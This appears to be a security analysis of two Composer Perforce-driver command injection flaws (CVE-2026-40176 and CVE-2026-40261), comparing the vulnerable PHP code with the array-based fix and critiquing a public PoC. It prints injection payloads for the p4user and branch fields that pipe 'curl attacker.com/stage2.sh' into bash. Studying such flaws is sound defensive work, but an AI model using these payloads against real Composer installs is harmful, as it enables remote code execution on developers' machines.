The PoC repository's package description says it demonstrates "shell injection in Perforce generateP4Command." The two payload files agree: vector 1 injects through the port flag, vector 2 through the user flag. Those are CVE-2026-40176. CVE-2026-40261 is in syncCodeBase, the method that calls generateP4Command and then appends the package reference to the string it receives back, without escaping. The PoC does not demonstrate this injection point. The git history shows a third vector was attempted and committed away as "remove vector 3 not working." CVE-2026-40261's actual surface was never tried.
CVE-2026-40261: The Injection Is in syncCodeBase, Not generateP4Command
patterns
cve
proof of concept
The function returned a string, and callers used it as one
generateP4Command in Composer 2.9.5:
public function generateP4Command(string $command, bool $useClient = true): string
{
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' ';
if ($useClient) {
$p4Command .= '-c ' . $this->getClient() . ' ';
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command;
return $p4Command;
}The return type is string. $this->getUser() is the p4user value from the repository configuration. $this->getPort() is the url value. Neither is passed through ProcessExecutor::escape() before interpolation. When Composer initializes a perforce-type repository entry, these values arrive early in the driver flow: isLoggedIn() calls generateP4Command(), receives the shell string, and passes it to ProcessExecutor::execute(). That call reaches /bin/sh -c "<string>". The shell tokenizes the full string before looking for any binary.
With "p4user": "user; curl attacker.com/stage2.sh | bash #":
p4 -u user; curl attacker.com/stage2.sh | bash # -c client -p 127.0.0.1:1666 login -sThe # comments out everything after the injected command. The shell runs p4 -u user first: binary not found, exit code 127. Then it runs curl attacker.com/stage2.sh | bash: that exits 0. The p4 binary does not need to exist. The advisory states this explicitly: "Perforce installation is not required for exploitation." The reason is that the shell processes the full tokenized string regardless of whether the first command succeeds.
The PoC repository contains two working payloads demonstrating exactly this mechanism. Both target values inside generateP4Command. Both are CVE-2026-40176. The PoC's package description names CVE-2026-40261.
CVE-2026-40261 is one line downstream
syncCodeBase in Composer 2.9.5:
public function syncCodeBase(?string $sourceReference): void
{
$prevDir = Platform::getCwd();
chdir($this->path);
$p4SyncCommand = $this->generateP4Command('sync -f ');
if (null !== $sourceReference) {
$p4SyncCommand .= '@' . $sourceReference;
}
$this->executeCommand($p4SyncCommand);
chdir($prevDir);
}$p4SyncCommand receives the string that generateP4Command returned. syncCodeBase then appends '@' . $sourceReference to it directly, without calling ProcessExecutor::escape(). $sourceReference is the package version reference: the branch name, tag, or commit identifier from the repository metadata.
A composer.json repository entry with "branch": "main; curl attacker.com/stage2.sh | bash #" produces this command when Composer reaches the sync step:
p4 -u user -c client -p 127.0.0.1:1666 sync -f @main; curl attacker.com/stage2.sh | bash #Same semicolon mechanism. Same shell execution path. Same result without p4 installed. This is CVE-2026-40261. It is not inside generateP4Command. It is in the line that received generateP4Command's output and extended it.
This is the content-is-command shape applied to package management: repository metadata from a registry is content, and the Perforce driver makes it a command. The advisory for CVE-2026-40261 describes a registry delivery path: a Packagist-compatible repository can serve package metadata that declares Perforce as the source VCS with a malicious branch reference. When a developer's composer.json requires vendor/package: "dev-main", Composer defaults to installing dev versions from source. The source VCS is determined by the registry metadata. If that metadata declares a Perforce source with an injected branch reference, the driver initializes, Composer progresses to the sync step, and syncCodeBase fires with whatever reference the registry supplied. No malicious file needs to land on the developer's machine first.
The fix removed every escape call
The patch in commit 4fcc13d42:
public function generateP4Command(array $arguments, bool $useClient = true): array
{
$p4Command = [$this->getP4Executable()];
if ($this->getUser() !== null) {
$p4Command[] = '-u';
$p4Command[] = $this->getUser();
}
if ($useClient) {
$p4Command[] = '-c';
$p4Command[] = $this->getClient();
}
$p4Command[] = '-p';
$p4Command[] = $this->getPort();
return array_merge($p4Command, $arguments);
}The return type is now array. When ProcessExecutor::execute() receives an array, PHP calls execve() directly, passing each element as a separate argument to the binary. No shell is involved. Semicolons, pipes, and # comment characters are literal. They reach the p4 binary as a single string argument and fail validation as an invalid depot specification, if p4 exists at all.
syncCodeBase after the patch: $p4SyncCommand[] = '@' . $sourceReference. Still an append. Now an array append. The shell never sees @main; curl attacker.com/stage2.sh | bash. It goes to p4 directly as one argument, unchanged.
The old Perforce.php had multiple calls to ProcessExecutor::escape() distributed across its methods. The new version has none. Every call to ProcessExecutor::escape() in the old code was compensating for the decision to use a string. The fix did not add better escaping. It stopped using strings.
The third vector that did not work
The PoC git log:
c01e213 chore: remove vector 3 not working
983bf2a feat: update readme
00709db feat: init projectThe removed commit attempted injection through the depot configuration value. The Perforce driver builds the client name for the -c flag from the depot value: composer_perforce_<pid>_<depot>. The attempted vector injected shell metacharacters into depot, expecting them to survive into the client name string and reach the shell command.
They did not. The depot value undergoes a construction step before reaching generateP4Command; something in that path neutralizes the metacharacters. The p4user and url values go through no such construction. Two of the three generateP4Command interpolation targets are injectable. The third has incidental downstream sanitization that the other two lack.
The CVE-2026-40261 vector, injection through $sourceReference in syncCodeBase, appears nowhere in the PoC. The README lists three vectors, then quietly removes one. The syncCodeBase path was never attempted. The PoC demonstrates what fired on first try. What required Composer to progress further into the driver flow left no payload file. The commit labeled "not working" is not about syncCodeBase. It is about a different surface the author tried next. CVE-2026-40261's surface is simply absent.
The same class reached the Perforce driver five years after the Hg driver
CVE-2021-29472 was command injection in Composer's Mercurial VCS driver. The HgDriver built shell commands by interpolating unsanitized URL values into strings. Fixed in Composer 1.10.22 and 2.0.13. The 2021 advisory: "Fixed command injection vulnerability in HgDriver/HgDownloader and hardened other VCS drivers and downloaders."
The Perforce driver was not converted to array-based command construction in 2021. It kept building shell strings through concatenation. The "hardened other VCS drivers" clause reached adjacent surfaces. It did not reach Perforce's generateP4Command.
The Composer 2.9.6 release that closes CVE-2026-40261 and CVE-2026-40176 also includes a separate item: "hardened input validation for git, hg, and fossil identifiers, blocking branch names that start with -." That is a new surface entirely: five years after CVE-2021-29472, branch names across multiple drivers could still be crafted to inject flag-like arguments. Each release finds another edge in another driver.
Composer's VCS driver family is a design-debt driver. The bug class is command injection via unsanitized string interpolation in VCS driver shell command construction. It appeared in the Hg driver in 2021, in the Perforce driver in 2026, and in branch-name flag injection across git, hg, and fossil, also in 2026. Each patch closes the specific instance. The architecture distributes shell command construction across independent driver files, each responsible for its own escaping decisions, each carrying the class until audited.
PoC: terminat0r7031/composer-CVE-2026-40261-CVE-2026-40176-PoC
The fix did not add better escaping. It stopped using strings.